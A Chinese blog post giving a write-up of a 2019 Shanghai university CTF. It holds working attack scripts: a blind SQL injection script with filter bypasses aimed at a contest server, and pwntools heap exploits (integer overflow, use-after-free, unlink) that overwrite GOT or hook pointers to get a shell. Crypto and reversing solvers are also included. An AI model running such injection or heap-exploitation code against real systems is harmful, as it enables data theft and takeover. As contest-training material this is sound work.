Xi4or0uji's blog

2019上海市大学生信息安全竞赛wp

字数统计: 3k阅读时长: 16 min
2019/11/01 Share

前言

这次上海市大学生查了几名没进有点可惜,出题太慢了,放下wp吧

WEB

Decade

跟上次字节跳动的题差不多…….只是过滤的东西有点不同

babyt5

一道安恒月赛原题…………连flag文件名都不改……..

easysql

fuzz发现过滤了union select、or、逗号等等,于是union all select绕过union select,hex(mid(from))代替for和逗号,又发现权限是root,可以用mysql代替information,join代替逗号,最后没有列名的注入,然后脚本盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# -*- coding:utf8 -*-  
import requests
import re
import time

old_url = r'http://47.105.183.208:29898/article.php?id='

for i in range(10):
l1 = 0
r1 = 100
while(l1<=r1):
mid1 = (l1 + r1)/2
payload = "'||(select length(mid((select GROUP_CONCAT(e.1) from (select * from (select 1)a join (select 2)b join (select 3)c union all select * from fl111aa44a99g)e)from 1)))="+str(mid1)+"%23"
# payload = "'||(select length(group_concat(table_name)) from mysql.innodb_table_stats where database_name=database())="+str(mid1)+"%23"
print payload
url = old_url+payload
try:
http = requests.get(url,timeout=5)
except requests.exceptions.Timeout:
for p in range(1, 10):
print "p"+str(p)
try:
http = requests.get(url,timeout=5)
time.sleep(5)
except requests.exceptions.Timeout:
pass
if http.content:
break
time.sleep(1)
content = http.content
plain = re.findall(r"<h1>(.*?)</h1>",content)[0]
if(plain == "You Can Try "):
break
else:
payload = "'||(select length(mid((select GROUP_CONCAT(e.1) from (select * from (select 1)a join (select 2)b join (select 3)c union all select * from fl111aa44a99g)e)from 1)))>"+str(mid1)+"%23"
# payload = "'||(select length(group_concat(table_name)) from mysql.innodb_table_stats where database_name=database())>"+str(mid1)+"%23"
print payload
url = old_url+payload
try:
http = requests.get(url,timeout=5)
except requests.exceptions.Timeout:
for p in range(1, 10):
print "p"+str(p)
http = requests.get(url,timeout=5)
time.sleep(5)
time.sleep(1)
content = http.content
plain = re.findall(r"<h1>(.*?)</h1>",content)[0]
if plain == "You Can Try ":
l1 = mid1 + 1
else:
r1 = mid1 - 1
if mid1==0:
break
print str(i)+":"+str(mid1)
k = ''
w = -4
for j in range(1,2*mid1+1):
if (j-1) % 10 == 0:
w = w + 5
new2_k = ""
for q in range(16):
if q > 9:
s = chr(96+q-9)
else:
s = str(q)
new_k = new2_k + s
payload = "'||hex(mid((select group_concat(e.2) from (select * from (select 1)a join (select 2)b join (select 3)c union all select * from fl111aa44a99g)e)from "+str(w)+")) like '"+new_k+"%'%23"
# payload = "'||hex(mid((select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())from "+str(w)+")) like '"+new_k+"%'%23"
print payload
url = old_url+payload
try:
http = requests.get(url,timeout=5)
except requests.exceptions.Timeout:
for p in range(1, 10):
print "p"+str(p)
try:
http = requests.get(url,timeout=5)
time.sleep(5)
except requests.exceptions.Timeout:
pass
if http.content:
break
time.sleep(1)
content = http.content
plain = re.findall(r"<h1>(.*?)</h1>",content)[0]
if plain == "You Can Try ":
break
k = k+s
new2_k = new2_k + s
print k
# fl111aa44a99g
#61727469636c652c666c3131316161343461393967

PWN

boringheap

这题只有0x20、0x30、0x40的堆块可以用,同时程序有个漏洞点:abs整数溢出

利用0x80000000 % 0x30 = -0x20 ,可以实现改写size,从而overlap,从而可以泄露出libc地址,同时实现double free,构造2条double free的链子,一条写入size=0x40,另一条写入伪造的fake_chunk,申请出来,改写topchunk的地址为malloc_hook上方,再次malloc就可以改写成onegadget从而getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
# context(arch='i386', os='linux')
local = 0
elf = ELF('./pwn1')
if local:
p = process('./pwn1')
libc = elf.libc
else:
p = remote("8sdafgh.gamectf.com",10001)
libc = ELF('./libc.so')
# onegadget64 = [0x45216,0x4526a,0xf02a4,0xf1147]
# onegadget32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(choice,content):
ru("5.Exit")
sl('1')
ru("3.Large")
sl(str(choice))
ru("Input Content:")
sd(content)
def free(index):
ru("5.Exit")
sl('3')
ru("Which one do you want to delete?")
sl(str(index))
def edit(index,where,content):
ru("5.Exit")
sl('2')
ru("Which one do you want to update?")
sl(str(index))
ru("Where you want to update?")
sl(str(where))
ru("Input Content:")
sd(content)
def show(index):
ru("5.Exit")
sl('4')
ru("Which one do you want to view?")
sl(str(index))
malloc(2,'aaaaaaaa\n')#0
malloc(2,'bbbbbbbb\n')#1#8
malloc(2,'cccccccc\n')#2#9
malloc(2,'dddddddd\n')#3#10
malloc(3,'eeeeeeee\n')#4
malloc(3,'ffffffff\n')#5
malloc(3,'gggggggg\n')#6
malloc(3,'hhhhhhhh\n')#7
edit(1,0x80000000,'\x00'*0x10 + p64(0) + p64(0x1b1) + '\n')
free(1)
malloc(2,'ffffffff\n')#8
show(8)

ru('ffffffff'
libc_base = u64(rc(6).ljust(8,'\x00'))-0x3c4c0a-0x100
print "libc_base---->" + hex(libc_base)
system = libc_base + libc.sym["system"]
main_arena = libc_base + 0x3c4b28
malloc_hook = libc_base + libc.sym["__malloc_hook"]
onegadget = libc_base +0xf1147
malloc(2,'eeeeeeee\n')#9
malloc(2,'iiiiiiii\n')#10
malloc(3,'kkkkkkkk\n')#12
malloc(3,'llllllll\n')#13
malloc(3,'mmmmmmmm\n')#14
free(2)
free(3)
free(9)
free(4)
free(5)
free(11)
malloc(2,p64(0x51)+'\n')#15
malloc(2,'nnnnnnnn\n')
malloc(2,'oooooooo\n')
malloc(3,p64(main_arena+8)+'\n')
malloc(3,'pppppppp\n')
malloc(3,'qqqqqqqq\n')
malloc(3,'\x00'*0x38+p64(malloc_hook-0x18))
py = ''
py += 'aaaaaaaa' + p64(onegadget)+'\n'
malloc(3,py)
# debug(0)
# debug(0)
ru("5.Exit")
sl('1')
ru("3.Large")
sl('3')
p.interactive()

login

程序功能就这几个

1
2
3
4
5
6
7
---Menu---
1.login
2.register
3.Delete
4.Edit
5.Exit
Choice:

保护,没开PIE

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

IDA分析可以发现,delete中有uaf

1
2
3
4
5
6
else if ( password[v1] )
{
free((void *)*password[v1]);
free(password[v1]);
puts("Delete success!");
}

在login函数中存在打印函数

1
2
3
4
5
6
read(0, &s, len);
if ( !strcmp(&s, *password[v1]) )
{
sub_400A54();
((void (__fastcall *)(_QWORD))password[v1][1])(*password[v1]);//如果密码正常就会将密码打印出来
}

那么就可以利用login函数将libc爆出来
利用UAF构造出如图的情况,只要edit 1就能修改0的password指针,再一位一位爆破出来,拿到真实地址后就UAF修改free_hook为system即可
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.log_level = 'debug'
p = process('./login')
elf = ELF('./login')
libc = elf.libc

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def login(idx,l,pwd,flag = 0):
if flag:
sl('1')
else:
sla("Choice:\n",'1')
sla("id:\n",str(idx))
sla("length:\n",str(l))
sda("password:\n",pwd)

def register(idx,l,pwd,flag = 0):
sla("Choice:\n",'2')
sla("id:\n",str(idx))
sla("length:\n",str(l))
if flag:
sda("password:\n",pwd)
else:
sla("password:\n",pwd)

def delete(idx):
sla("Choice:\n",'3')
sla("id:\n",str(idx))

def edit(idx,pwd):
sla("Choice:\n",'4')
sla("id:\n",str(idx))
sda("pass:\n",pwd)

addr = elf.got['free']
register(0,0x88,'R4bb1t')
delete(0)
# gdb.attach(p)
register(1,0x18,p64(addr+5),1)
pwd = '\x7f'
# gdb.attach(p)
login(0,1,pwd)

for i in range(5):
edit(1,p64(addr+(4-i)))
for j in range(1,0x100):
login(0,i+2,chr(j) + pwd,1)
if "success!" in p.recvuntil('\n'):
pwd = chr(j) + pwd
break

print pwd
pause()

free_addr = u64(pwd.ljust(8,'\x00'))
libc_base = free_addr - libc.symbols['free']
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
log.warn("free_addr --> %s",hex(free_addr))
log.warn("libc_base --> %s",hex(libc_base))

edit(1,p64(free_hook))
register(2,0x48,'/bin/sh\x00')
edit(0,p64(system))
delete(2)
p.interactive()

slient_note

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到RELOR强度只开到Partial,也就是说got 表可改
再来看一下功能
Add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 sub_400AEC()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Which kind of note do you want to add?");
sub_400AAA("Which kind of note do you want to add?");
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
ptr = calloc(0x28uLL, 1uLL);
puts("Content:");
sub_400999(ptr, 40LL);
}
else if ( v1 == 2 )
{
qword_6020D8 = calloc(0x208uLL, 1uLL);
puts("Content:");
sub_400999(qword_6020D8, 520LL);
}
puts("finish!");
return __readfsqword(0x28u) ^ v2;
}

只能申请两种大小的堆0x28和0x208,而且用calloc,也就是申请后会清空内容,两种大小的块用两个全局变量存放,且都只能放一个
delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 sub_400BCF()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Which kind of note do you want to delete?");
sub_400AAA("Which kind of note do you want to delete?");
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 == 1 && ptr )
{
free(ptr);
}
else if ( v1 == 2 && qword_6020D8 )
{
free(qword_6020D8);
}
puts("finish!");
return __readfsqword(0x28u) ^ v2;
}

存在UAF
思路:unlink然后修改got表得到地址,再将free@got修改为system ,free(‘/bin/sh\x00’) get shell
常规unlink,具体操作就不多解释了,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
def add(size,message):
sla("Exit\n",'1')
sla("Large\n",str(size))
sda("Content:\n",message)

def delete(size):
sla("Exit\n",'2')
sla("Large\n",str(size))

def edit(size,message):
sla("Exit\n",'3')
sla("Large\n",str(size))
sda("Content:\n",message)

chunk = 0x6020D8
one = [0x45216,0x4526a,0xf02a4,0xf1147]
add(2,'\n')
add(1,'\n')
add(1,'\n')
add(1,'\n')
delete(2)
for i in range(0xb):
add(1,'\n')

pay = p64(0) + p64(0x1d0)
pay += p64(chunk-0x18) + p64(chunk-0x10)
pay = pay.ljust(0x1d0,'a')
pay += p64(0x1d0) + p64(0x90) + '\n'
edit(2,pay)
delete(1)
pay = p64(0)*2 + p64(elf.got['free']) + p64(elf.got['calloc']) + '\n'
edit(2,pay)
edit(1,p64(elf.plt['puts']) + '\n')
delete(2)

calloc_addr = u64(rc(6).ljust(8,'\x00'))
libc_base = calloc_addr - libc.symbols['calloc']
system = libc_base + libc.symbols['system']
log.warn("calloc_addr --> %s",hex(calloc_addr))
edit(1,p64(system) + '\n')
edit(2,'/bin/sh\x00' + '\n')
delete(2)
# debug()
p.interactive()

RE

puzzle

这里分析逻辑,化简函数

可以看到需要绕过5层的check,前面三个分别是,输入16个16进制的字符,每两个转成hex,然后将字符转成16进制数值,问题不大,xor可以通过动态调试得到xor的固定值

第一个是0x7D,然后一个个调试出来得到:0x7C,0xAB,0x2D,0x91,0x2F,0x98,0xED,0xA9
所以就是输入的明文异或这些数值加密,得到密文,密文进行了一个sort函数,这里需要爆破出一个排列组合,选择不同的运算方式得到特定值,8个数,10种运算结果,这里直接写个C语言脚本爆破跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include <bits/stdc++.h>
using namespace std;
int a[10];
typedef int ll;
ll n1 = 0x39f;
ll n2 = 0x68;
ll n3 = 0x209;
ll n4 = 0x269;
ll n5 = 0x12a;
ll n6 = 0x1a1;
ll n7 = 0x8a;
ll n8 = 0x2c8;
void init(){
n1 = 0x39f;
n2 = 0x68;
n3 = 0x209;
n4 = 0x269;
n5 = 0x12a;
n6 = 0x1a1;
n7 = 0x8a;
n8 = 0x2c8;
}
bool gao(){
bool result=false;
int *v1 = a;
while ( 2 ){
switch ( *v1 ){
case 0:
n5 &= n1;
n4 *= n5;
goto LABEL_4;
case 1:
if ( !n4 )
goto LABEL_6;
n5 /= n4;
n6 += n2;
goto LABEL_4;
case 2:
n3 ^= n2;
n8 += n7;
goto LABEL_4;
case 3:
n8 -= n3;
n3 &= n6;
goto LABEL_4;
case 4:
n2 *= n7;
n4 -= n1;
goto LABEL_4;
case 5:
n7 ^= n4;
n1 -= n8;
goto LABEL_4;
case 6:
if ( !n8 )
goto LABEL_6;
n2 |= n6 / n8;
n6 /= n8;
goto LABEL_4;
case 7:
n1 += n5;
n2 |= n6;
goto LABEL_4;
case 8:
n7 *= n4;
n3 -= n8;
goto LABEL_4;
case 9:
n5 += n2;
n4 ^= n3;
LABEL_4:
if ( ++v1 != a + 8 )
continue;
if (n1 == 0xE7){
if (n2 == 0x3878)
if (n3 == 0x3A71)
int e=1;
}
result = (n1 == 0xE7)
+ (n2 == 0x3878)
+ (n3 == 0x3A71)
+ (n4 == 0xFFFFCC30)
+ (n5 == 0x10)
+ (n6 == 0x68)
+ (n7 == 0xFFFFFC49) == 7;
if ( n8 != 0xFFFFFF11 )
goto LABEL_6;
break;
default:
LABEL_6:
result = 0;
break;
}
return result;
}
}
bool flag=false;
int cnt=0;
void dfs(int p){
if (flag)
return;
if (p == 8){
init();
if (gao()){
flag=true;
}
return;
}
for (int i=0;i<10;i++)
a[p]=i;
dfs(p+1);
}
}
int main(){
dfs(0);
for (int i=0;i<8;i++)
cout << a[i] << '\n';
}

得到的序列是:[6, 1, 4, 9, 5, 0, 7, 2]
所以现在就是知道密文,接着异或回去就可以得到明文输入了:
num = [0x7C,0xAB,0x2D,0x91,0x2F,0x98,0xED,0xA9]
sort = [6, 1, 4, 9, 5, 0, 7, 2]
flag = ''
for i in range(8):
flag += hex(sort[i]^num[i])[2:]
print flag
#7aaa29982a98eaab

接着输入即可得到flag

MISC

签到题

直接拖进去ida然后找字符串,‘Password’,定位到check函数后,F5就可以看到flag了

CRYPTO

RSA

分析一波可以得到

1
2
3
p+q = 196075640660409986135975784767502028538644025058282395628670981900974958890619954451344723318649578431744942274184506178219307129498083095220609328355931687266846079805131400737270051437647584592782747418213354229728108610925547647805880482097163218511341484311783416306321402379596024705973981708966729752698

p*q = 9538795663851271297602738029671089878718012242935213096566250130325046936720540247534143498025477544161347330379679111765871420732255741210434736423951962189227302658997497664520929375215715960063615792480965807127438948044298348300153102760490410578638259665656608784635088735809470916136628779400145983632930861883762707606629208260803446083579674497451514650309351925430391515629898218875049677870989016071086844819626778388370764400242376469343158294638240660190754978627356076115228410162956087266527271225439142347304100660800517276772407728290414074912243665126741030948775883739544952378188264714716087909797

解个方程

1
2
3
4
5
6
7
8
9
10
11
#coding = utf8
import struct
from sympy import *

n = 9538795663851271297602738029671089878718012242935213096566250130325046936720540247534143498025477544161347330379679111765871420732255741210434736423951962189227302658997497664520929375215715960063615792480965807127438948044298348300153102760490410578638259665656608784635088735809470916136628779400145983632930861883762707606629208260803446083579674497451514650309351925430391515629898218875049677870989016071086844819626778388370764400242376469343158294638240660190754978627356076115228410162956087266527271225439142347304100660800517276772407728290414074912243665126741030948775883739544952378188264714716087909797

m = 196075640660409986135975784767502028538644025058282395628670981900974958890619954451344723318649578431744942274184506178219307129498083095220609328355931687266846079805131400737270051437647584592782747418213354229728108610925547647805880482097163218511341484311783416306321402379596024705973981708966729752698

p = Symbol('p')
q = Symbol('q')
print(solve([(p+q-m),(p*q-n)],[p,q]))

得到

1
2
3
p=106559472238507992886893257595935131953388935896627959833031588247260020805443236827178002922192535072027637299082200170640652258414961919417154405674232765071939665000916796219859195238458399706193108146924408124158611736331559842114957778275757663860676776947490183450347232203866189542181859286964311023847

q=89516168421901993249082527171566896585255089161654435795639393653714938085176717624166720396457043359717304975102306007578654871083121175803454922681698922194906414804214604517410856199189184886589639271288946105569496874593987805690922703821405554650664707364293232855974170175729835163792122422002418728851

最后脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import gmpy2
from libnum import *

n = 9538795663851271297602738029671089878718012242935213096566250130325046936720540247534143498025477544161347330379679111765871420732255741210434736423951962189227302658997497664520929375215715960063615792480965807127438948044298348300153102760490410578638259665656608784635088735809470916136628779400145983632930861883762707606629208260803446083579674497451514650309351925430391515629898218875049677870989016071086844819626778388370764400242376469343158294638240660190754978627356076115228410162956087266527271225439142347304100660800517276772407728290414074912243665126741030948775883739544952378188264714716087909797

c = 7303495910407762399046490836902121070389476875516762048462433039234972742941586801378979220008051262826174054961747648114128456872349675769941760630519744351742977740846748646739901172672743584989842268056810152117350241337045055812845489372389014195433916347255846499434232234822333192328886207187844781726928951986353054876826105507064928478812402103648940709131760865763234071703554208057808885564381400571862422316195578258814602362582573148358552148686182480215663291366798585241933446701357953551496955627421526567152576426417189707335038601040167826900549139608192971559659991213411381604721734898065256138516

p = 89516168421901993249082527171566896585255089161654435795639393653714938085176717624166720396457043359717304975102306007578654871083121175803454922681698922194906414804214604517410856199189184886589639271288946105569496874593987805690922703821405554650664707364293232855974170175729835163792122422002418728851

q = 106559472238507992886893257595935131953388935896627959833031588247260020805443236827178002922192535072027637299082200170640652258414961919417154405674232765071939665000916796219859195238458399706193108146924408124158611736331559842114957778275757663860676776947490183450347232203866189542181859286964311023847

phi = (p-1)*(q-1)
e = 251
d = gmpy2.invert(e, phi)
print n2s(pow(c, d, n))

poly

一波分析以后发现居然是个假的加密函数……加密前和加密后的东西没啥区别……
那就直接去十六进制转字符串

poly_rev

分析一波,其实就是多项式的解方程而已……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import os
P=PolynomialRing(GF(2),'x')
F.<x> = GF(2)[]
pol = x**255+ x**143+ x**47 + x**3 + 1

r1 = 0x8eeb27d8c2776920bd4672bbcee6d1ebf357c81419e2c3e2073a1e241dbd
r2 = 0x8e4188999c007557e481d4dfcf51a8bb92a752ebac7015967f1133387c7c
c1 = 0x237b20405cf83f261749fba5507ed14cb566e3722a93308c7752297d92a8338c
c2 = 0x1f8fe9b5e32500c3d306924938d1f443b3718ec410c380944503311ff932f528
m1 = 0x1a99ff13954d42e6a21af67aa58e2df8b7bec68f499edf992c95b25326ed768c
m2 = 0x1e63622141285872093eda8da6c7a94ad7c50e695fdc6ed9bd8adaf4c6c40b14
FF = GF(2**256)

def get_poly(m):
m = bin(m)[2:]
f1, ii = 0, 0
for cc in m[::-1]:
f1 += int(cc) * x**ii
ii += 1
return f1

def back(n):
tmp = n.exponents()
enc = ''
for i in range(256):
if i in tmp:
enc += '1'
else:
enc += '0'
enc = hex(int(enc[::-1],2)).lstrip('0x').rstrip('L').zfill(64)
return enc

pr1 = get_poly(r1)
pr2 = get_poly(r2)
pc1 = get_poly(c1)
pc2 = get_poly(c2)
pm1 = get_poly(m1)
pm2 = get_poly(m2)
#print(pr1)
#print(pr2)
#print(pc1)
#print(pc2)

c = pc1-pc2
r = pr1-pr2

k1 = inverse_mod(pr1-pr2, pol)*(pc1-pc2)%pol
#print(k1)
k2 = inverse_mod(pr2-pr1, pol)*(pc1*pr2-pc2*pr1%pol)
#print(k2)

msg1 = inverse_mod(k1, pol)*(pm1-k2)%pol
msg2 = inverse_mod(k1, pol)*(pm2-k2)%pol

flag1 = back(msg1)
flag2 = back(msg2)
print(flag1)
print(flag2)

CATALOG
  1. 1. 前言
  2. 2. WEB
    1. 2.1. Decade
    2. 2.2. babyt5
    3. 2.3. easysql
  3. 3. PWN
    1. 3.1. boringheap
    2. 3.2. login
    3. 3.3. slient_note
  4. 4. RE
    1. 4.1. puzzle
  5. 5. MISC
    1. 5.1. 签到题
  6. 6. CRYPTO
    1. 6.1. RSA
    2. 6.2. poly
    3. 6.3. poly_rev